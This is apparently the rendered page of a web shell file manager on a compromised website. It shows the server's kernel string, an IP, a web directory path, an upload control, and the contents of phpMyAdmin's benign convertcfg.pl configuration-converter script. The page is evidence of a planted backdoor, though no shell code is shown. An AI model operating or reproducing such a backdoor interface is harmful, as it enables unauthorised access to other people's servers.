AlaK4X
Linux lhjmq-records 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64



Your IP : 3.129.210.36


Current Path : /var/www/lhjmq-records.qc.ca/public_html/phpmyadmin/scripts/
Upload File :
Current File : /var/www/lhjmq-records.qc.ca/public_html/phpmyadmin/scripts/convertcfg.pl

#!/usr/bin/perl
#
# $Id: convertcfg.pl,v 2.0 2003/11/18 15:20:45 nijel Exp $
#
# Configuration converter
# Converts from old-style (Pre-2.3) configuration files to new format found in PMA-2.3
#
# Takes input from STDIN, sends output to STDOUT
#
# By Robin Johnson robbat2@users.sourceforge.net
# Many thanks to Patrick Lougheed pat@tfsb.org
#

while(<>) 
{	s/\$cfg(\w+)/\$cfg\[\'$1\'\]/g; 
	print; 
	}